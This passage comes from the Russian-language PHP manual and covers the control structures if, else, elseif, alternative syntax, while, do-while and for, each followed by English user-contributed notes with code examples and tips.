if ( true || $a = important_function() ) echo $a;

function important_function(){
  // Do very important stuff here.
  return 1;
}

?>
cole dot trumbo at nospamthnx dot gmail dot com 31-May-2017 05:41
Any variables defined inside the if block will be available outside the block. Remember that the if doesn't have its own scope.

<?php
$bool = true;
if ($bool) {
    $hi = 'Hello to all people!';
}
echo $hi;
?>

It will print 'Hello to all people!'

On the other hand, this will have no output:

<?php
if (false) {
    $hi = 'Hello to all people!';
}
echo $hi;
?>
robk 20-May-2013 01:02
easy way to execute conditional html / javascript / css / other language code with php if else:

<?php if (condition): ?>

html code to run if condition is true

<?php else: ?>

html code to run if condition is false

<?php endif ?>
Donny Nyamweya 11-Feb-2011 08:30
In addition to the traditional syntax for if (condition) action;
I am fond of the ternary operator that does the same thing, but with fewer words and code to type:

(condition ? action_if_true: action_if_false;)

example

(x > y? 'Passed the test' : 'Failed the test')
Christian L. 25-Jan-2011 10:58
An other way for controls is the ternary operator (see Comparison Operators) that can be used as follows:

<?php
$v = 1;

$r = (1 == $v) ? 'Yes' : 'No'; // $r is set to 'Yes'
$r = (3 == $v) ? 'Yes' : 'No'; // $r is set to 'No'

echo (1 == $v) ? 'Yes' : 'No'; // 'Yes' will be printed

// and since PHP 5.3
$v = 'My Value';
$r = ($v) ?: 'No Value'; // $r is set to 'My Value' because $v is evaluated to TRUE

$v = '';
echo ($v) ?: 'No Value'; // 'No Value' will be printed because $v is evaluated to FALSE
?>

Parentheses can be left out in all examples above.
techguy14 at gmail dot com 06-Jan-2011 01:39
You can have 'nested' if statements withing a single if statement, using additional parenthesis.
For example, instead of having:

<?php
if( $a == 1 || $a == 2 ) {
    if( $b == 3 || $b == 4 ) {
        if( $c == 5 || $ d == 6 ) {
             //Do something here.
        }
    }
}
?>

You could just simply do this:

<?php
if( ($a==1 || $a==2) && ($b==3 || $b==4) && ($c==5 || $c==6) ) {
    //do that something here.
}
?>

Hope this helps!
grawity at gmail dot com 10-Mar-2008 03:41
re: #80305

Again useful for newbies:

if you need to compare a variable with a value, instead of doing

<?php
if ($foo == 3) bar();
?>

do

<?php
if (3 == $foo) bar();
?>

this way, if you forget a =, it will become

<?php
if (3 = $foo) bar();
?>

and PHP will report an error.


else

(PHP 4, PHP 5, PHP 7, PHP 8)

Часто необходимо выполнить одно выражение, если определённое условие верно, и другое выражение, если условие не верно. Именно для этого else и используется. else расширяет оператор if, чтобы выполнить выражение, в случае, если условие в операторе if равно false. К примеру, следующий код выведет a больше чем b, если $a больше, чем $b, и a НЕ больше, чем b в противном случае:

<?php
if ($a > $b) {
echo "a больше, чем b";
} else {
echo "a НЕ больше, чем b";
}
?>
Выражение else выполняется только, если выражение if вычисляется как false, и если нет других любых выражений elseif, или если они все равны false также (смотрите elseif).

Замечание: Болтающийся else

В случае вложенных операторов if-else, else всегда ассоциируется с ближайшим if.

<?php
$a = false;
$b = true;
if ($a)
if ($b)
echo "b";
else
echo "c";
?>
Несмотря на отступ (который не имеет значения в PHP), else связан с if ($b), поэтому этот пример ничего не выведет. Хотя такое поведение допустимо, рекомендуется его избегать, используя фигурные скобки для устранения потенциальных неоднозначностей.

User Contributed Notes

mparsa1372 at gmail dot com 11-Mar-2021 06:07
//Output "Have a good morning!" if the current time is less than 10, and "Have a good day!" if the current time is less than 20. Otherwise it will output "Have a good night!":

<?php
$t = date("H");

if ($t < "10") {
  echo "Have a good morning!";
} elseif ($t < "20") {
  echo "Have a good day!";
} else {
  echo "Have a good night!";
}
?>
mparsa1372 at gmail dot com 11-Mar-2021 06:06
//Output "Have a good day!" if the current time is less than 20, and "Have a good night!" otherwise:

<?php
$t = date("H");

if ($t < "20") {
  echo "Have a good day!";
} else {
  echo "Have a good night!";
}
?>
emmanuel dot orchanian at hotmail dot fr 24-Jun-2020 11:53
// You can remplace this :
if (...) {
    return 111 ;
} else {
    return 222 ;
}

// By this :
if (...) {
    return 111 ;
}
return 222 ;
zithronospam at remove dot gmail dot com at 25-Aug-2016 05:31
Alternate syntax is great (dont remove it!), but take care using "else:" after one liners, this wont work:
<?php
if (true):
    if (true) print('This results in a parse error (unexpected ":" on line <the_else_line>)');
else:
    if (true) { print('Replacing above line with this one also triggers a parse error, curly braces do not help in this case') }
endif; ?>

Either use the alternate syntax on the line in error: <?php if(true):print('This works as its ended by an');endif; ?>
Or write some more code on a newline between the one-liner and the following else (eg. "$var=1;" is enough, even a single semi-colon is, but read below).

A third way is to add a semi-colon to the one-liner, having two if necessary:
<?php
if (true):
    if (true) print('This is valid again');;
else:
    // ...
endif;

// It works with the curly braces form too:
if (true):
    if (true) { print('This get displayed, even if the doc says the opposite about mixing syntaxes') };
else:
    // ...
endif;
?>
I can only guess that the added semi-colon makes it work by "closing the if" in a way.
Subsequent semi-colons don't matter, and the semi-colon can be anywhere: at the end of the line, on the following line on its own, or just before the else like ";else". But who would do that anyway.

TL;DR/conclusion:
- avoid mixing alternate syntax and one liners in if/else control structures
- avoid mixing syntaxes inside the blocks (even if it works using this semi-colon trick).

================================
Note to editors: the behaviour described is specifically linked to the use of an else, but this note could also be added to the more general "Alternative syntax for control structures" page as it's also commenting on mixing syntaxes. You know better!
php at keith tyler dot com 05-Jul-2011 10:52
This is valid syntax:

<?php
if ($a) print "a is true";
else print "a is false";
?>

A holdover from the bash-style compatibility in older PHP versions, perhaps.
Larry H-C 17-Aug-2009 10:08
When you escape out of HTML, you can get an UNEXPECTED T_ELSE error with the following:

Error:

<? if( $condition ) {
        dosomething;
   }
?>

<? else {
       dosomethingelse;
   }
?>

Correct:

<? if( $condition ) {
       dosomething;
?>

<? } else {
       dosomethingelse;
   }
?>

Apparently the compiler thinks a ?> <? breaks the connection between the } and the else
Theoden 24-Apr-2008 05:42
At Caliban Darklock

I don't know if it is just improvements in the parser, but there is a negligible difference in the performance of "elseif" vs "else if" as of version 5. One thousandth of a second in your example and 8 thousandths if the eval statement is repeated 5 times.
If the constructs are in regular code, then there appears to be no difference. This leads me to believe that the difference in the eval code is from there being an extra parser token.

Also the main performance burden of recursive functions is the stack operations of changing the context. In this case I believe that it would parse to very similar (if not identical) jmp controls.

In summary, use your preference. Readability and maintainability rank far higher on the priority scale.

One Additional note, there appears to be a limit of the number of "else if" statements (perhaps nested statements in general) that php will handle before starting to get screwy. This limit is about 1100. "elseif" is not affected by this.
dormeydo at gmail dot com 12-Apr-2008 04:51
An alternative and very useful syntax is the following one:

statement ? execute if true : execute if false

Ths is very usefull for dynamic outout inside strings, for example:

print('$a is ' . ($a > $b ? 'bigger than' : ($a == $b ? 'equal to' : 'smaler than' )) .  '  $b');

This will print "$a is smaler than $b" is $b is bigger than $a, "$a is bigger than $b" if $a si bigger and "$a is equal to $b" if they are same.
mitch at mitchellbeaumont dot com 24-Jul-2007 12:09
At gwmpro at yahoo dot com

The curly brace is not required however, for readability and maintenance, many developers would consider it bad style not to include them.
Caliban Darklock 08-Nov-2004 11:24
If you're coming from another language that does not have the "elseif" construct (e.g. C++), it's important to recognise that "else if" is a nested language construct and "elseif" is a linear language construct; they may be compared in performance to a recursive loop as opposed to an iterative loop.

<?php
$limit=1000;
for($idx=0;$idx<$limit;$idx++)
{ $list[]="if(false) echo \"$idx;\n\"; else"; }
$list[]=" echo \"$idx\n\";";
$space=implode(" ",$list);| // if ... else if ... else
$nospace=implode("",$list); // if ... elseif ... else
$start=array_sum(explode(" ",microtime()));
eval($space);
$end=array_sum(explode(" ",microtime()));
echo $end-$start . " seconds\n";
$start=array_sum(explode(" ",microtime()));
eval($nospace);
$end=array_sum(explode(" ",microtime()));
echo $end-$start . " seconds\n";
?>

This test should show that "elseif" executes in roughly two-thirds the time of "else if". (Increasing $limit will also eventually cause a parser stack overflow error, but the level where this happens is ridiculous in real world terms. Nobody normally nests if() blocks to more than a thousand levels unless they're trying to break things, which is a whole different problem.)

There is still a need for "else if", as you may have additional code to be executed unconditionally at some rung of the ladder; an "else if" construction allows this unconditional code to be elegantly inserted before or after the entire rest of the process. Consider the following elseif() ladder:

<?php
if($a) { conditional1(); }
elseif($b) { conditional2(); }
elseif($c) { conditional3(); }
elseif($d) { conditional4(); }
elseif($e) { conditional5(); }
elseif($f) { conditional6(); }
elseif($g) { conditional7(); }
elseif($h) { conditional8(); }
else { conditional9(); }
?>

To insert unconditional preprocessing code for $e onward, one need only split the "elseif":

<?php
if($a) { conditional1(); }
elseif($b) { conditional2(); }
elseif($c) { conditional3(); }
elseif($d) { conditional4(); }
else {
....unconditional();
....if($e) { conditional5(); }
....elseif($f) { conditional6(); }
....elseif($g) { conditional7(); }
....elseif($h) { conditional8(); }
....else { conditional9(); }
}
?>

The alternative is to duplicate the unconditional code throughout the construct.


elseif/else if

(PHP 4, PHP 5, PHP 7, PHP 8)

Конструкция elseif, как её имя и говорит есть сочетание if и else. Аналогично else, она расширяет оператор if для выполнения различных выражений в случае, когда условие начального оператора if эквивалентно false. Однако, в отличие от else, выполнение альтернативного выражения произойдёт только тогда, когда условие оператора elseif будет являться равным true. К примеру, следующий код может выводить a больше, чем b, a равно b или a меньше, чем b:

<?php
if ($a > $b) {
echo "a больше, чем b";
} elseif ($a == $b) {
echo "a равен b";
} else {
echo "a меньше, чем b";
}
?>

Может быть несколько elseif в одном выражении if. Первое выражение elseif (если оно есть) равное true будет выполнено. В PHP вы также можете написать else if (в два слова), и тогда поведение будет идентичным elseif' (в одно слово). Синтаксически значение немного отличается (то же поведение, что и у C), но в конечном итоге оба выражения приведут к одному и тому же результату.

Выражение elseif выполнится, если предшествующее выражение if и предшествующие выражения elseif эквивалентны false, а текущий elseif равен true.

Замечание: Заметьте, что elseif и else if будут равнозначны только при использовании фигурных скобок, как в примерах выше. Если используются синтаксис с двоеточием для определения условий if/elseif, возникает необходимость использования elseif в одном слове. Если разбить else if на два слова, PHP выдаст ошибку разбора.

<?php

/* Некорректный способ: */
if($a > $b):
echo $a." больше, чем ".$b;
else if($a == $b): // Не скомпилируется.
echo "Строка выше вызывает фатальную ошибку.";
endif;

/* Корректный способ: */
if($a > $b):
echo $a." больше, чем ".$b;
elseif($a == $b): // Заметьте, тут одно слово.
echo $a." равно ".$b;
else:
echo $a." не больше и не равно ".$b;
endif;

?>

User Contributed Notes

mparsa1372 at gmail dot com 12-Mar-2021 03:27
The if...elseif...else statement executes different codes for more than two conditions.

Syntax:

if (condition) {
  code to be executed if this condition is true;
} elseif (condition) {
  code to be executed if first condition is false and this condition is true;
} else {
  code to be executed if all conditions are false;
}

Example:
Output "Have a good morning!" if the current time is less than 10, and "Have a good day!" if the current time is less than 20. Otherwise it will output "Have a good night!":

<?php
$t = date("H");

if ($t < "10") {
  echo "Have a good morning!";
} elseif ($t < "20") {
  echo "Have a good day!";
} else {
  echo "Have a good night!";
}
?>
qualitycoder 03-Oct-2014 02:39
The reason 'else if' (with a space) works with traditional syntax and not colon syntax is because of a technicality.

<?php
  if($var == 'Whatever') {

  } else if($var == 'Something Else') {

  }
?>

In this instance, the 'else if' is a shorthand/inline else statement (no curly braces) with the if statement as a body. It is the same things as:

<?php
  if($var == 'Whatever') {

  } else {
      if($var == 'Something Else') {

      }
  }
?>

If you were to write this with colon syntax, it would be:

<?php
  if($var == 'Whatever'):

  else:
      if($var == 'Something Else'):

      endif;
  endif;
?>
Vladimir Kornea 27-Dec-2006 09:59
The parser doesn't handle mixing alternative if syntaxes as reasonably as possible.

The following is illegal (as it should be):

<?
if($a):
    echo $a;
else {
    echo $c;
}
?>

This is also illegal (as it should be):

<?
if($a) {
    echo $a;
}
else:
    echo $c;
endif;
?>

But since the two alternative if syntaxes are not interchangeable, it's reasonable to expect that the parser wouldn't try matching else statements using one style to if statement using the alternative style. In other words, one would expect that this would work:

<?
if($a):
    echo $a;
    if($b) {
      echo $b;
    }
else:
    echo $c;
endif;
?>

Instead of concluding that the else statement was intended to match the if($b) statement (and erroring out), the parser could match the else statement to the if($a) statement, which shares its syntax.

While it's understandable that the PHP developers don't consider this a bug, or don't consider it a bug worth their time, jsimlo was right to point out that mixing alternative if syntaxes might lead to unexpected results.


Альтернативный синтаксис управляющих структур

(PHP 4, PHP 5, PHP 7, PHP 8)

PHP предлагает альтернативный синтаксис для некоторых его управляющих структур, а именно: if, while, for, foreach и switch. В каждом случае основной формой альтернативного синтаксиса является изменение открывающей фигурной скобки на двоеточие (:), а закрывающей скобки на endif;, endwhile;, endfor;, endforeach; или endswitch; соответственно.

<?php if ($a == 5): ?>
A равно 5
<?php endif; ?>

В приведённом выше примере, блок HTML "A равно 5" вложен внутрь структуры if, написанной с альтернативным синтаксисом. Блок HTML будет показан только если переменная $a равна 5.

Альтернативный синтаксис также применяется и к else и elseif. Ниже приведена структура if с elseif и else в альтернативном формате:

<?php
if ($a == 5):
echo "a равно 5";
echo "...";
elseif ($a == 6):
echo "a равно 6";
echo "!!!";
else:
echo "a не равно ни 5 ни 6";
endif;
?>

Замечание:

Смешивание синтаксиса в одном и том же блоке управления не поддерживается.

Внимание

Любой вывод (включая пробельные символы) между выражением switch и первым case приведут к синтаксической ошибке. Например, данный код не будет работать:

<?php switch ($foo): ?>
 <?php case 1: ?>
 ...
<?php endswitch; ?>

В то же время следующий пример будет работать, так как завершающий перевод строки после выражения switch считается частью закрывающего ?> и следовательно ничего не выводится между switch и case:

<?php switch ($foo): ?>
<?php case 1: ?>
 ...
<?php endswitch; ?>

Смотрите также while, for и if для дальнейших примеров.

User Contributed Notes

albaash247 at gmail dot com 24-Aug-2023 04:40
i was wondering which solution is better (using heredoc or Alternative syntax). Anyway, you can use heredoc to populate data like this:

<?php
function printUsers()
{
    require_once '../API/get-users.php';

    foreach (getResponse() as $user) {
        $template = <<<HTML
        <tr id="userRowTemplate">
            <th id="txtUserId" scope="row" >$user[id]</th>
            <td id="txtUserFullName">$user[full_name]</td>
            <td id="txtUserEmail">$user[email]</td>
            <td id="action">
                <button id="btnEnable">Enable</button>
                <button id="btnDisable">Disable</button>
            </td>
        </tr>
        HTML;

        echo $template;
    }
}

?>
toxyy 22-Apr-2022 10:00
I feel compelled to give a more elegant way using heredoc than the other comment:

<ul>
<?php foreach($list as $item): echo
<<<ITEM
    <li id="itm-$item[number]">Item $item[name]</li>
ITEM;
endforeach; ?>
</ul>

Which works better with multi line blocks, as you only need one overall php tag.

(please don't omit the closing </li> tag despite it being legal, personal preference)


while

(PHP 4, PHP 5, PHP 7, PHP 8)

Циклы while являются простейшим видом циклов в PHP. Они ведут себя так же, как и в языке C. Простейшей формой цикла while является следующее выражение:

while (expr)
    statement

Смысл выражения while очень прост. Оно указывает PHP выполнять вложенные выражения повторно до тех пор, пока выражение в самом while является true. Значение выражения expr проверяется каждый раз перед началом цикла, поэтому даже если значение выражения изменится в процессе выполнения вложенных выражений в цикле, выполнение не прекратится до конца итерации (каждый раз, когда PHP выполняет выражения в цикле - это одна итерация). Если выражение while равно false с самого начала, вложенные выражения ни разу не будут выполнены.

Также, как и с оператором if, вы можете группировать несколько выражений внутри одного цикла while, заключая эти выражения между фигурными скобками или используя альтернативный синтаксис:

while (expr):
    statement
    ...
endwhile;

Следующие примеры идентичны, и оба выведут числа от 1 до 10:

<?php
/* пример 1 */

$i = 1;
while ($i <= 10) {
echo $i++; /* выводиться будет значение переменной
$i перед её увеличением
(post-increment) */
}

/* пример 2 */

$i = 1;
while ($i <= 10):
echo $i;
$i++;
endwhile;
?>

User Contributed Notes

razvan_bc at yahoo dot com 18-Jul-2022 05:24
assuming you want to have another way to archieve
<?php

for($i=10;$i>0;$i--){
    echo $i.'<br>';
}

?>

then yo have this:

<?php

$v=10;
do{
    echo $v.'<br>';
}while(--$v);

/*
while(--$v) : 10...1 , when $v==0 stops
*/

?>
Dan Liebner 16-Apr-2021 05:33
While loops don't require a code block (statement).

<?php

while( ++$i < 10 ); // look ma, no brackets!

echo $i; // 10

?>
mparsa1372 at gmail dot com 12-Mar-2021 03:23
The example below displays the numbers from 1 to 5:

<?php
$x = 1;

while($x <= 5) {
  echo "The number is: $x <br>";
  $x++;
}
?>

This example counts to 100 by tens:

<?php
$x = 0;

while($x <= 100) {
  echo "The number is: $x <br>";
  $x+=10;
}
?>


do-while

(PHP 4, PHP 5, PHP 7, PHP 8)

Цикл do-while очень похож на цикл while, с тем отличием, что истинность выражения проверяется в конце итерации, а не в начале. Главное отличие от обычного цикла while в том, что первая итерация цикла do-while гарантированно выполнится (истинность выражения проверяется в конце итерации), тогда как она может не выполниться в обычном цикле while (истинность выражения которого проверяется в начале выполнения каждой итерации, и если изначально имеет значение false, то выполнение цикла будет прервано сразу).

Есть только один вариант синтаксиса цикла do-while:

<?php
$i = 0;
do {
echo $i;
} while ($i > 0);
?>

В примере цикл будет выполнен ровно один раз, так как после первой итерации, когда проверяется истинность выражения, она будет вычислена как false ($i не больше 0) и выполнение цикла прекратится.

Опытные пользователи С могут быть знакомы с другим использованием цикла do-while, которое позволяет остановить выполнение хода программы в середине блока, для этого нужно обернуть нужный блок кода вызовом do-while (0) и использовать break. Следующий фрагмент кода демонстрирует этот подход:

<?php
do {
if ($i < 5) {
echo "i ещё недостаточно велико";
break;
}
$i *= $factor;
if ($i < $minimum_limit) {
break;
}
echo "значение i уже подходит";

/* обработка i */

} while (0);
?>

Можно использовать оператор goto вместо подобного "хака".

User Contributed Notes

mparsa1372 at gmail dot com 12-Mar-2021 03:23
The example below first sets a variable $x to 1 ($x = 1). Then, the do while loop will write some output, and then increment the variable $x with 1. Then the condition is checked (is $x less than, or equal to 5?), and the loop will continue to run as long as $x is less than, or equal to 5:

<?php
$x = 1;

do {
  echo "The number is: $x <br>";
  $x++;
} while ($x <= 5);
?>
M. H. S. 29-Oct-2019 07:02
<!-- if you write with WHILE: -->
<?php
$i = 100
while ($i < 10) :
    echo "\$i is $i.";
endwhile;
?>
<!-- returning: -->

<!-- if you write with DO/WHILE: -->
<?php
$i = 100;
do {
    echo "\$i is $i.";
} while ($i < 10);
?>
<!-- returning: -->
$i is 100.
iamjeffjack at gmail dot com 01-Feb-2018 08:26
If you put multiple conditions in the while check, a do-while loop checks these conditions in order and runs again once it encounters a condition that returns true. This can be helpful to know when troubleshooting why a do-while loop isn't finishing. An (illustrative-only) example:

<?php
    $numberOne = 0;
    do {
        echo $numberOne;
        $numberOne++;
    } while( $numberOne < 5 || incrementNumberTwo() );
    function incrementNumberTwo() {
        echo "function incrementNumberTwo called";
        return false;
    }
    // outputs "01234function incrementNumberTwo called"
?>
Martin 28-Apr-2015 03:51
Do-while loops can also be used inside other loops, for example:

<?php
// generating an array with random even numbers between 1 and 1000

$numbers = array();
$array_size = 10;

// for loop runs as long as 2nd condition evaluates to true
for ($i=0;$i<$array_size;$i++) {

      // always executes (as long as the for-loop runs)
      do {
         $random = rand(1,1000);

     // if the random number is even (condition below is false), the do-while-loop execution ends
     // if it's uneven (condition below is true), the loop continues by generating a new random number
     } while (($random % 2) == 1);

     // even random number is written to array and for-loop continues iteration until original condition is met
     $numbers[] = $random;
}

// sorting array by alphabet

asort($numbers);

// printing array

echo '<pre>';
print_r($numbers);
echo '</pre>';
?>
andrew at NOSPAM dot devohive dot com 15-Sep-2008 10:44
I'm guilty of writing constructs without curly braces sometimes... writing the do--while seemed a bit odd without the curly braces ({ and }), but just so everyone is aware of how this is written with a do--while...

a normal while:
<?php
   while ( $isValid ) $isValid = doSomething($input);
?>

a do--while:
<?php
   do $isValid = doSomething($input);
   while ( $isValid );
?>

Also, a practical example of when to use a do--while when a simple while just won't do (lol)... copying multiple 2nd level nodes from one document to another using the DOM XML extension

<?php
   # open up/create the documents and grab the root element
   $fileDoc  = domxml_open_file('example.xml'); // existing xml we want to copy
   $fileRoot = $fileDoc->document_element();
   $newDoc   = domxml_new_doc('1.0'); // new document we want to copy to
   $newRoot  = $newDoc->create_element('rootnode');
   $newRoot  = $newDoc->append_child($newRoot); // this is the node we want to copy to

   # loop through nodes and clone (using deep)
   $child = $fileRoot->first_child(); // first_child must be called once and can only be called once
   do $newRoot->append_child($child->clone_node(true)); // do first, so that the result from first_child is appended
   while ( $child = $child->next_sibling() ); // we have to use next_sibling for everything after first_child
?>
jayreardon at gmail dot com 10-Apr-2007 03:36
There is one major difference you should be aware of when using the do--while loop vs. using a simple while loop:  And that is when the check condition is made.

In a do--while loop, the test condition evaluation is at the end of the loop.  This means that the code inside of the loop will iterate once through before the condition is ever evaluated.  This is ideal for tasks that need to execute once before a test is made to continue, such as test that is dependant upon the results of the loop.

Conversely, a plain while loop evaluates the test condition at the begining of the loop before any execution in the loop block is ever made. If for some reason your test condition evaluates to false at the very start of the loop, none of the code inside your loop will be executed.


for

(PHP 4, PHP 5, PHP 7, PHP 8)

Цикл for самый сложный цикл в PHP. Он ведёт себя так же, как и в языке C. Синтаксис цикла for следующий:

for (expr1; expr2; expr3)
    statement

Первое выражение (expr1) всегда вычисляется (выполняется) только один раз в начале цикла.

В начале каждой итерации оценивается выражение expr2. Если оно принимает значение true, то цикл продолжается и выполняются вложенные операторы. Если оно принимает значение false, выполнение цикла заканчивается.

В конце каждой итерации выражение expr3 вычисляется (выполняется).

Каждое из выражений может быть пустым или содержать несколько выражений, разделённых запятыми. В expr2 все выражения, разделённые запятыми, вычисляются, но результат берётся из последнего. Если выражение expr2 отсутствует, это означает, что цикл будет выполняться бесконечно. (PHP неявно воспринимает это значение как true, так же, как в языке C). Это может быть не так бесполезно, как вы могли подумать, так как часто необходимо прервать цикл, используя условный оператор break вместо использования выражения в цикле for, которое принимает истинное значение.

Рассмотрим следующие примеры. Все они отображают числа от 1 до 10:

<?php
/* пример 1 */

for ($i = 1; $i <= 10; $i++) {
echo $i;
}

/* пример 2 */

for ($i = 1; ; $i++) {
if ($i > 10) {
break;
}
echo $i;
}

/* пример 3 */

$i = 1;
for (; ; ) {
if ($i > 10) {
break;
}
echo $i;
$i++;
}

/* пример 4 */

for ($i = 1, $j = 0; $i <= 10; $j += $i, print $i, $i++);
?>

Конечно, первый пример кажется самым хорошим (или, возможно, четвёртый), но вы можете обнаружить, что возможность использовать пустые выражения в циклах for может стать удобной во многих случаях.

PHP также поддерживает альтернативный синтаксис с двоеточием для циклов for.

for (expr1; expr2; expr3):
    statement
    ...
endfor;

Перебор массивов как показано ниже - это обычное дело для многих пользователей.

<?php
/*
* Это массив с некоторыми данными, которые мы хотим изменить
* при работе цикла.
*/
$people = array(
array('name' => 'Kalle', 'salt' => 856412),
array('name' => 'Pierre', 'salt' => 215863)
);

for($i = 0; $i < count($people); ++$i) {
$people[$i]['salt'] = mt_rand(000000, 999999);
}
?>

Вышеприведённый код может работать медленно, так как размер массива вычисляется в каждой итерации. Поскольку размер не меняется, цикл может быть легко оптимизирован с помощью промежуточной переменной, в которую будет записан размер массива, вместо повторяющихся вызовов функции count():

<?php
$people = array(
array('name' => 'Kalle', 'salt' => 856412),
array('name' => 'Pierre', 'salt' => 215863)
);

for($i = 0, $size = count($people); $i < $size; ++$i) {
$people[$i]['salt'] = mt_rand(000000, 999999);
}
?>

User Contributed Notes

mparsa1372 at gmail dot com 12-Mar-2021 03:26
This example counts to 100 by tens:

<?php
for ($x = 0; $x <= 100; $x+=10) {
  echo "The number is: $x <br>";
}
?>
Anonymous 30-May-2020 03:08
If you want to do a for and increment with decimal numbers:
<?php
for($i=0; $i<=2; $i+=0.1)
     echo $i;
?>
The code will never show 2 as expected, because of decimal imprecision if I remember well.
You will need to round:
<?php
for($i=0; round($i,1)<=2; $i+=0.1)
    echo $i.",";
?>
This code correctly shows 0,0.1 .... 2.
ju dot nk at email dot cz 01-Mar-2018 08:11
Please note that following code is working:

$reverse = TRUE;  //iteration direction switch

for ($i=$reverse?($N-1):0; $reverse?($i>-1):($i<$N); $reverse?$i--:$i++) {

... your code here

}

(Using PHP 5.4.45)
ju dot nk at email dot cz 01-Mar-2018 08:09
Please note that following code is working:

for ($i=$reverse?($N-1):0; $reverse?($i>-1):($i<$N); $reverse?$i--:$i++) {

... your code here

}

(Using PHP 5.4.45)
epicxmoe at gmail dot com 18-Jul-2017 05:41
I've tried to search for a results on internet for a basic array which contain letters A to Z inside

<!DOCTYPE html>
<html>
<body>
<?php
$letter = array();
for ($letters = 'A'; $letters != 'AA'; $letters++)
{
    array_push($letter, $letters);
}
echo '<pre>' . var_export($letter, true) . '</pre>';
?>
</body>
</html>
epicxmoe at gmail dot com 18-Jul-2017 05:21
Adding Letters from A to Z inside an array.

You should test it out.

<!DOCTYPE html>
<html>
<body>
<?php
$letter = array();
for ($letters = 'A'; $letters != 'AA'; $letters++)
{
    array_push($letter, $letters);
}
echo '<pre>' . var_export($letter, true) . '</pre>';
?>
</body>
</html>
dx at e-mogensen dot dk 12-Jan-2017 07:31
Warning about using the function "strlen" i a for-loop:

This note should might be under the "strlen" manual page, but there is a better chance for more paying attention here (nevertheless I have made a short note over there allso).

A loop function that test for the string length at each iteration takes forever (possibly due to "strlen" searches for the C-style string terminator - a binary 0 - every time..

So loops like this, using  "strlen" in the for...

for  ($i = 0;  $i < strlen($crc); $i++) .....

Will benefit tremendously in speed by a short step that saves the string length once and use that in the loop.

$clen = strlen($crc);

for  ($i = 0;  $i < $clen ; $i++) .....

Note: as a real hard-core programmer You are aware, that this is only valid if you don't change the string content inside the loop (and hereby allso the length). If the change is only occationly , You could just refresh the length variable or else just live with a quite slow loop.

This "discovery" was made from using an example of 16 bit crc calculation over at the "crc32" function manual page, that do exactly that..
htroyo 10-Jun-2016 11:04
when iterating a multidimentional array like this:
for ($i = 0; $i < $size_x; $i++) {
    for ($j = 0; $j < $size_y; $j++) {
        do_something($a[$i][$j]);
    }
}
it is faster to use $a[$i][$j] than using $a[$j][$i]
for ($i = 0; $i < $size_x; $i++) {
    for ($j = 0; $j < $size_y; $j++) {
        do_something($a[$j][$i]);
    }
}
if you know about how RAM works you understand why
Anonymous 23-Aug-2014 11:39
You can also work with arrays. For example, say you want to generate an array of 12 unique 2-letter strings:

<?php

for ($names = array(); count($names) < 12; $names = array_unique($names)) {
    /**
     * we assume here we have some $faker object
     * which generates n-letter strings
     */
    $names[] = $faker->word(2);
}

print_r($names);
?>

will print something like:

Array
(
    [0] => cc
    [1] => cb
    [2] => dd
    [3] => db
    [4] => bb
    [6] => cd
    [8] => aa
    [9] => ad
    [10] => ca
    [11] => ac
    [12] => dc
    [15] => ab
)
AoKMiKeY 13-Jul-2014 06:36
As a note for people just starting out and wanting to know if you can do some thing like this...

<?php For( $a = 0; $a < 10; $a++ ) { ?>

//Random html elements you would like to duplicate.

<?php } ?>

Then yes you can. It works like a charm.
Vincenzo Raco 30-Mar-2014 04:59
In this code:

<?php

    $array = array(
        'pop0',
        'pop1',
        'pop2',
        'pop3',
        'pop4',
        'pop5',
        'pop6',
        'pop7',
        'pop8'
    );
    echo "Tot Before: ".count($array)."<br><br>";
    for ($i=0; $i<count($array); $i++) {
        if ($i === 3) {
            unset($array[$i]);
        }
        echo "Count: ".count($array). " - Position: ".$i."<br>";
    }
    echo "<br> Tot After: ".count($array)."<br>";

?>

The result is:

---

Tot Before: 9

Count: 9 - Position: 0
Count: 9 - Position: 1
Count: 9 - Position: 2
Count: 8 - Position: 3
Count: 8 - Position: 4
Count: 8 - Position: 5
Count: 8 - Position: 6
Count: 8 - Position: 7

Tot After: 8

---

The position 8 is skipped, because the "expr2" {{ $i<count($array) }} is evaluated again, for each cycle.

The solution is:

<?php

    $array = array(
        'pop0',
        'pop1',
        'pop2',
        'pop3',
        'pop4',
        'pop5',
        'pop6',
        'pop7',
        'pop8'
    );
    echo "Tot Before: ".count($array)."<br><br>";
    $count = count($array);
    for ($i=0; $i<$count; $i++) {
        if ($i === 3) {
            unset($array[$i]);
        }
        echo "Count: ".count($array). " - Position: ".$i."<br>";
    }
    echo "<br> Tot After: ".count($array)."<br>";

?>
Warbo 06-Feb-2014 05:37
Remember that for-loops don't always need to go 'forwards'. For example, let's say I have the following code:

<?php
for ($i = 0; $i < calculateLoopLength(); $i++) {
  doSomethingWith($i);
}
>?

As other comments have pointed out, if "calculateLoopLength" will keep giving back the same value, it can be moved outside the loop:

<?php
$loopLength = calculateLoopLength();
for ($i=0; $i < $loopLength; $i++) {
  doSomethingWith($i);
}
?>

However, if the order the looping doesn't matter (ie. each iteration is independent) then we don't need to use an extra variable either, we can just count down (ie. loop 'backwards') instead:

<?php
for ($i=calculateLoopLength(); $i > 0; $i--) {
  doSomething($i);
}
?>

In fact, we can simplify this even more, since "$i > 0" is equivalent to "$i" (due to type casting):

<?php
for ($i=calculateLoopLength(); $i; $i--) {
  doSomething($i);
}
?>

Finally, we can switch to a 'pre-decrement' instead of a 'post-decrement' to be slightly more efficient (see, for example, http://dfox.me/2011/04/php-most-common-mistakes-part-2-using-post-increment-instead-of-pre-increment/ ):

<?php
for ($i = calculateLoopLength(); $i; --$i) {
  doSomething($i);
}
?>

In this case we could also replace the entire loop with a map, which might make your algorithm clearer (although this won't work if calculateLoopLength() == 0):

<?php
array_map('doSomething',
          range(0, calculateLoopLength() - 1));
?>
Andrew 15-Jan-2014 11:07
You can use strtotime with for loops to loop through dates

<?php
for ($date = strtotime("2014-01-01"); $date < strtotime("2014-02-01"); $date = strtotime("+1 day", $date)) {
    echo date("Y-m-d", $date)."<br />";
}
?>
Philipp Trommler 08-Nov-2012 04:34
Note, that, because the first line is executed everytime, it is not only slow to put a function there, it can also lead to problems like:

<?php

$array = array(0 => "a", 1 => "b", 2 => "c", 3 => "d");

for($i = 0; $i < count($array); $i++){

echo $array[$i];

unset($array[$i]);

}

?>

This will only output the half of the elements, because the array is becoming shorter everytime the for-expression counts it.
matthiaz 08-Feb-2012 02:37
Looping through letters is possible. I'm amazed at how few people know that.

for($col = 'R'; $col != 'AD'; $col++) {
    echo $col.' ';
}

returns: R S T U V W X Y Z AA AB AC

Take note that you can't use $col < 'AD'. It only works with !=
